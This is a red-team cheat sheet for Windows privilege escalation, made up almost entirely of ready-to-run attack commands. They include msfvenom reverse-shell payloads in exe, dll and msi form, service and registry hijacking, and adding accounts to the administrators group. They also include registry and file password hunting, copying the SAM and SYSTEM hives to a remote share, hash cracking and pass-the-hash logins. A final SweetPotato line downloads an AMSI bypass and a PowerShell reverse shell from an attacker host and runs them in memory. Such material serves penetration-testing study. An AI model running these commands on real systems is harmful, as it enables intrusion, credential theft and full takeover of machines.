Windows Privilege Escalation
Common Windows Privilege Escalation
All credits to https://github.com/0xJs/RedTeaming_CheatSheet/blob/main/windows_security.md
Table of Contents
- Using BloodHound
- General Tips
- Tools
- Manual Enumeration
- Check the Current User
- Check the Current Privileges
- Check the Current Groups
- Check All Users
- Check the Local Administrator Group Members
- Check Hostname
- Check Operating System and Architecture
- Get Installed Patches
- Check Running Processes
- Check Running Services
- Check Current Privileges
- Check Networking Information
- Check Open Ports
- Enumerate Firewall
- Enumerate Scheduled Tasks
- Installed Applications and Patch Levels
- Readable/Writable Files and Directories
- Device drivers and kernel modules
- Binaries that auto elevate
- Check the architecture
- Check for drivers
- Check the driver files for version etc and check if itās vulnerable
- List disks
- Check permission on file
- Privilege escalation techniques
- Search for powershell history and transcript
- Kernel exploits
- Service Exploits
- Weak service permissions
- Unqouted Service Path
- Executables with AlwaysInstallElevated Registry Setting
- Insecure service executables
- DLL Hijacking
- Always Install Elevated
- SC Manager Abuse
- Registry
- Autoruns
- AlwaysInstallElevated
- SC Manager Abuse
- Passwords
- Registry
- Saved Credentials
- Configuration Files
- SAM
- Scheduled Tasks
- Insecure GUI Apps
- Startup Apps
- Installed Applications
- Hot Potato
- Token Impersonation
Using BloodHound
Remote BloodHound
Python BloodHound Repository or install it with pip3 install bloodhound
bloodhound-python -u <UserName> -p <Password> -ns <Domain Controller's Ip> -d <Domain> -c AllOn Site BloodHound
#Using exe ingestor
.\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <Domain Controller's Ip> --OutputDirectory <PathToFile>
#Using powershell module ingestor
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --OutputDirectory <PathToFile>General Tips
- Check if Windows Scheduler is running (
tasklist)- Go to
C:\Program Files\SystemScheduler\Eventsand check the logs to see if anything is running every x minutes. - Check if we have write permissions.
- Go to
- Administrative command execution tips:
- Use
msfvenomfor shells if we can execute something with admin privileges:msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o reverse.exe msfvenom -p windows/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o reverse.exe - RDP:
net localgroup administrators <username> /add - Admin to System:
.\PsExec64.exe -accepteula -i -s C:\temp\reverse.exe
- Use
- Can also use
icacls.exeorGet-aclto check permissions on directories/files instead ofaccesschk.exe.
Other Great Sources
Tools
Privescheck
Powerup & SharpUp
powershell.exe
. ./PowerUp.ps1
Invoke-Allchecks.\SharpUp.exeSeatbelt
./seatbelt.exe allwinPEAS
reg add HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1
.\winPEASany.exe quiet cmd fast
.\winPEASany.exeaccesschk.exe
AccessChk is an old but still trustworthy tool for checking user access control rights. You can use it to check whether a user or group has access to files, directories, services, and registry keys. The downside is more recent versions of the program spawn a GUI āaccept EULAā popup window. When using the command line, we have to use an older version which still has an /accepteula command line option.
Always do first:
accesschk.exe /accepteulaManual Enumeration
Check the Current User
whoamiCheck the Current Privileges
whoami /privCheck the Current Groups
whoami /groupsCheck All Users
net userCheck the Local Administrator Group Members
net localgroup administratorsCheck Hostname
hostnameCheck Operating System and Architecture
systeminfoGet Installed Patches
wmic qfe get Caption,Description,HotFixID,InstalledOnCheck Running Processes
tasklist /svcCheck Running Services
wmic service get name,displayname,pathname,startmodeCheck Current Privileges
whoami /priv && whoami /groupsif SeImpersonatePrivilege is set (PrintSpoofer or juicypotato)
Check Networking Information
ipconfig /all
route printCheck Open Ports
netstat -anoEnumerate Firewall
netsh firewall show state
netsh advfirewall show currentprofile
netsh advfirewall firewall show rule name=allEnumerate Scheduled Tasks
schtasks /query /fo LIST /vInstalled Applications and Patch Levels
wmic product get name, version, vendorReadable/Writable Files and Directories
accesschk.exe -uws "Everyone" "C:\Program Files"
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}Device drivers and kernel modules
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object āDisplay Nameā, āStart Modeā, Path
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*<DRIVER>*"}Binaries that auto elevate
Check status of AlwaysInstalledElevated registery setting (if yes then craft a MSI)
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\InstallerCheck the architecture
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"Check for drivers
driverquery /vCheck the driver files for version etc and check if itās vulnerable
cd C:\Program Files\<DRIVER>List disks
wmic logicaldisk get caption,description,providernameCheck permission on file
icalcs "<PATH>"Privilege escalation techniques
- Run automation scripts and if it find something fuzzy use these techniques to exploit it.
History
Search for powershell history and transcript
Get-ChildItem -Path C:\* -Force -Include *ConsoleHost_history.txt* -Recurse -ErrorAction SilentlyContinue
Get-Childitem -Path C:\* -Force -Include *transcript* -Recurse -ErrorAction SilentlyContinueKernel exploits
Kernels are the core of any operating system. Think of it as a layer between application software and the actual computer hardware. The kernel has complete control over the operating system. Exploiting a kernel vulnerability can result in execution as the SYSTEM user.
- Enumerate Windows version / patch level (systeminfo)
- Find matching exploits (Google, ExploitDB, Github)
- Compile and run
Finding kernel exploits
- https://github.com/bitsadmin/wesng
- https://github.com/rasta-mouse/Watson
- Pre compiled Kernel exploits
Get systeminfo
systeminfo > systeminfo.txtRun on kali
python wes.py systeminfo.txt -i 'Elevation of privilege' --exploits-onlyCross-reference results with compiled exploits + run them
https://github.com/SecWiki/windows-kernel-exploits
Service Exploits
Services are simply programs that run in the background, accepting input or performing regular tasks. If services run with SYSTEM privileges and are misconfigured, exploiting them may lead to command execution with SYSTEM privileges as well.
Check services access
accesschk.exe /accepteula -uwcqv <USER> * > ack.txt
type ack.txtQuery the configuration of a service:
sc.exe qc <SERVICE NAME>Query the current status of a service:
sc.exe query <SERVICE NAME>Modify a configuration option of a service:
sc.exe config <NAME> <OPTION>= <VALUE>Start/Stop a service:
net start/stop <SERVICE NAME>Weak service permissions
Each service has an ACL which defines certain service-specific permissions. Some permissions are innocuous (e.g. SERVICE_QUERY_CONFIG, SERVICE_QUERY_STATUS). Some may be useful (e.g. SERVICE_STOP, SERVICE_START). Some are dangerous (e.g. SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS).
If our user has permission to change the configuration of a service which runs with SYSTEM privileges, we can change the executable the service uses to one of our own. Potential Rabbit Hole: If you can change a service configuration but cannot stop/start the service, you may not be able to escalate privileges!
Confirm with accesschk.exe
.\accesschk.exe /accepteula -uwcqv <USER> <SERVICE NAME>Check the permissions on modifieable service
Get-ServiceAcl -Name <NAME> | select -expandproperty AccessCheck the current configuration
sc qc <SERVICE NAME>Check current status
sc query <SERVICE NAME>Reconfigure the service
sc config <SERVICE NAME> binpath= "\"C:\temp\reverse.exe\""Change the start + object
sc config daclsvc obj= ".\LocalSystem" password= ""
sc config daclsvc start= "demand"Start service
net start <SERVICE NAME>Unqouted Service Path
Executables in Windows can be run without using their extension (e.g. āwhoami.exeā can be run by just typing āwhoamiā). Some executables take arguments, separated by spaces, e.g. someprog.exe arg1 arg2 arg3⦠This behavior leads to ambiguity when using absolute paths that are unquoted and contain spaces.
Consider the following unquoted path: C:\Program Files\Some Dir\SomeProgram.exe To us, this obviously runs SomeProgram.exe. To Windows, C:\Program could
be the executable, with two arguments: Files\Some and Dir\ SomeProgram.exe Windows resolves this ambiguity by checking each of the possibilities in turn. If we can write to a location Windows checks before the actual executable, we can trick the service into executing it instead.
Find service with unqoutes service paths
wmic service get name, pathnameConfirm this using sc:
sc qc <SERVICE NAME>Check for write permissions:
.\accesschk.exe /accepteula -uwdq "<PATH>"
Get-Acl -Path <PATH> | flCopy the reverse shell executable and rename it appropriately:
copy C:\temp\reverse.exe "<PATH>"Start a listener on Kali, and then start the service to trigger the exploit:
net stop <SERVICE>
net start <SERVICE>### Weak Registry Permissions
The Windows registry stores entries for each service. Since registry entries can have ACLs, if the ACL is misconfigured, it may be possible to modify a serviceās configuration even if we cannot modify the service directly.
#### Confirming Weak Registry Entries
To confirm a weak registry entry, you can use either Powershell or accesschk.exe:
- **Powershell:**
```powershell
Get-Acl -Path <REG PATH> | Format-List- accesschk.exe:
.\accesschk.exe /accepteula -uvwqk <REG PATH>
Overwriting Registry Key Values
To overwrite the value of a registry key and point it to our reverse shell executable:
reg add <REG PATH> /v <REG VALUE> /t REG_EXPAND_SZ /d C:\temp\reverse.exe /fTriggering the Exploit
Start a listener on Kali, and then start the service to trigger the exploit:
net stop <SERVICE>
net start <SERVICE>Insecure Service Executables
If the original service executable is modifiable by our user, we can simply replace it with our reverse shell executable. Remember to create a backup of the original executable if you are exploiting this in a real system!
Checking Executable Writability
.\accesschk.exe /accepteula -quvw "<PATH TO EXE>"
icacls.exe "<PATH TO EXE>"
Get-Acl -Path "<PATH TO EXE>" | flCreating a Backup
copy "<PATH>" C:\TempCopying the Reverse Shell Executable
copy /Y C:\PrivEsc\reverse.exe "<PATH>"Triggering the Exploit
Start a listener on Kali, and then start the service to trigger the exploit:
net stop <SERVICE>
net start <SERVICE>DLL Hijacking
Often a service will try to load functionality from a library called a DLL (dynamic-link library). Whatever functionality the DLL provides, will be executed with the same privileges as the service that loaded it. If a DLL is loaded with an absolute path, it might be possible to escalate privileges if that DLL is writable by our user.
A more common misconfiguration that can be used to escalate privileges is if a DLL is missing from the system, and our user has write access to a directory within the PATH that Windows searches for DLLs in. Unfortunately, initial detection of vulnerable services is difficult, and often the entire process is very manual.
Checking for a Writable Directory in PATH
Start by enumerating which of these services our user has stop and start access to:
.\accesschk.exe /accepteula -uvqc <USER> <SERVICE>Confirming Vulnerable Services
sc qc <SERVICE>Generating a Reverse Shell DLL
On Kali, generate a reverse shell DLL named hijackme.dll:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o <NAME>.dll
msfvenom -p windows/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o <NAME>.dllTriggering the Exploit
Copy the DLL to the Windows VM and into the C:\Temp directory. Start a listener on Kali and then stop/start the service to trigger the exploit:
net stop <SERVICE>
net start <SERVICE>Always Install Elevated
This policy allows standard users to install applications that require access to directories and registry keys that they may not usually have permission to change. This is equivalent to granting full administrative rights and even though Microsoft strongly discourages its use, it can still be found.
Searching for Always Install Elevated
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\InstallerCreating MSI for Privilege Escalation
To exploit this, you can package a payload into an MSI installer that will be installed and executed with SYSTEM privileges. You can use tools like PowerShell scripts or Cobalt Strike Beacon to generate such MSI files.
SC Manager Abuse
Displaying Permissions for Service Creation
sc sdshow scmanagerConverting Permissions
$string = <PERMISSIONS>
ConvertFrom-SddlString $stringCreating a Service
sc create MyService displayName= "MyService" binPath= "C:\Windows\System32\net.exe localgroup Administrators <USER> /add" start= autoRestarting the Machine
Registry
Autoruns
Windows can be configured to run commands at startup, with elevated privileges. These āAutoRunsā are configured in the Registry. If you are able to write to an AutoRun executable, and are able to restart the system (or wait for it to be restarted), you may be able to escalate privileges.
Enumerating Autorun Executables
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunChecking Executables Manually
.\accesschk.exe /accepteula -wvu "<PATH TO EXE>"Checking All Autoruns
.\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program"Copying Reverse Shell to Autorun Directory
copy "C:\Program Files\Autorun Program\program.exe" C:\TempTriggering the Exploit
Copy the reverse shell executable to overwrite the autorun executable:
copy /Y C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe"AlwaysInstallElevated
MSI files are package files used to install applications. These files run with the permissions of the user trying to install them. Windows allows for these installers to be run with elevated (i.e., admin) privileges. If this is the case, we can generate a malicious MSI file which contains a reverse shell.
Manually Checking for AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\InstallerCreating MSI with Reverse Shell
msfvenom -p <PAYLOAD> lhost=<IP> -f msi -o setup.msiSC Manager Abuse
Displaying Permissions for Service Creation
sc sdshow scmanagerConverting Permissions
$string = <PERMISSIONS>
ConvertFrom-SddlString $stringCreating a Service
sc create MyService displayName= "MyService" binPath= "C:\Windows\System32\net.exe localgroup Administrators <USER> /add" start= autoRestarting the Machine
Passwords
Registry
Plenty of programs store
configuration options in the Windows Registry. Windows itself sometimes will store passwords in plaintext in the Registry. It is always worth searching the Registry for passwords. The following commands will search the registry for keys and values that contain āpasswordā.
Searching Registry for Passwords
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /sSpawning Shell Using Credentials
winexe -U '<USERNAME>%<PASSWORD>' //<IP> cmd.exeSaved Credentials
Manually Checking for Saved Credentials
cmdkey /listUsing Saved Credentials
runas /savecred /user:admin C:\temp\reverse.exeConfiguration Files
Manually Searching
dir /s *pass* == *.config
findstr /si password *.xml *.ini *.txtSAM
Copying SAM and SYSTEM Files
copy C:\Windows\Repair\SAM \\<IP>\<SHARE>\
copy C:\Windows\Repair\SYSTEM \\<IP>\<SHARE>\Running creddump pdump.py
python2 creddump7/pwdump.py SYSTEM SAMCracking with hashcat
hashcat -a 0 -m 1000 --force <HASHES> <WORDLIST>Pass the Hash Login
pth-winexe -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //<IP> cmd.exe
pth-winexe --system -U 'admin%aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da' //<IP> cmd.exeScheduled Tasks
Listing All Scheduled Tasks
schtasks /query /fo LIST /v
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,StateInsecure GUI Apps
If you can open a file with this app, navigate to the explorer and fill in the path to cmd.exe or PowerShell.exe:
file://c:/windows/system32/cmd.exeStartup Apps
Each user can define apps that start when they log in, by placing shortcuts to them in a specific directory. Windows also has a startup directory for apps that should start for all users: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp If we can create files in this directory, we can use our reverse shell executable and escalate privileges when an admin logs in.
Note that shortcut files (.lnk) must be used. The following VBScript can be used to create a shortcut file.
Using VBScript to Create a Shortcut
Set oWS = WScript.CreateObject("WScript.Shell")
sLinkFile = "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\reverse.lnk"
Set oLink = oWS.CreateShortcut(sLinkFile)
oLink.TargetPath = "C:\PrivEsc\reverse.exe"
oLink.SaveRunning the Script using cscript
cscript CreateShortcut.vbsStarting Listener if Admin Logs in
Installed Applications
Most privilege escalations relating to installed applications are based on misconfigurations we have already covered. Still, some privilege escalations result from things like buffer overflows, so knowing how to identify installed applications and known vulnerabilities is still important.
Enumerating All Running Programs
tasklist /vHot Potato
Hot Potato is the name of an attack that uses a spoofing attack along with an NTLM relay attack to gain SYSTEM privileges. The attack tricks Windows into authenticating as the SYSTEM user to a fake HTTP server using NTLM. The NTLM credentials then get relayed to SMB in order to gain command execution. This attack works on Windows 7, 8, early versions of Windows 10, and their server counterparts.
- Copy the potato.exe exploit executable over to Windows.
- Start a listener on Kali.
- Run the exploit:
.\potato.exe -ip <IP> -cmd "C:\temp\reverse.exe" - enable_httpserver true -enable_defender true -enable_spoof true - enable_exhaust true- Wait for a Windows Defender update or trigger one manually.
Token Impersonation
Service Accounts
The original Rotten Potato exploit was identified in 2016. Service accounts could intercept a SYSTEM ticket and use it to impersonate the SYSTEM user. This was possible because service accounts usually have the āSeImpersonatePrivilegeā privilege enabled.
Token Impersonation Exploits
Sweet Potato
./SweetPotato.exe -a "/c powershell.exe iex (New-Object Net.WebClient).DownloadString('http://<IP>:8090/amsi.txt'); iex (New-Object Net.WebClient).DownloadString('http://<IP>:8090/Invoke-PowerShellTcp2.ps1')"Last updated on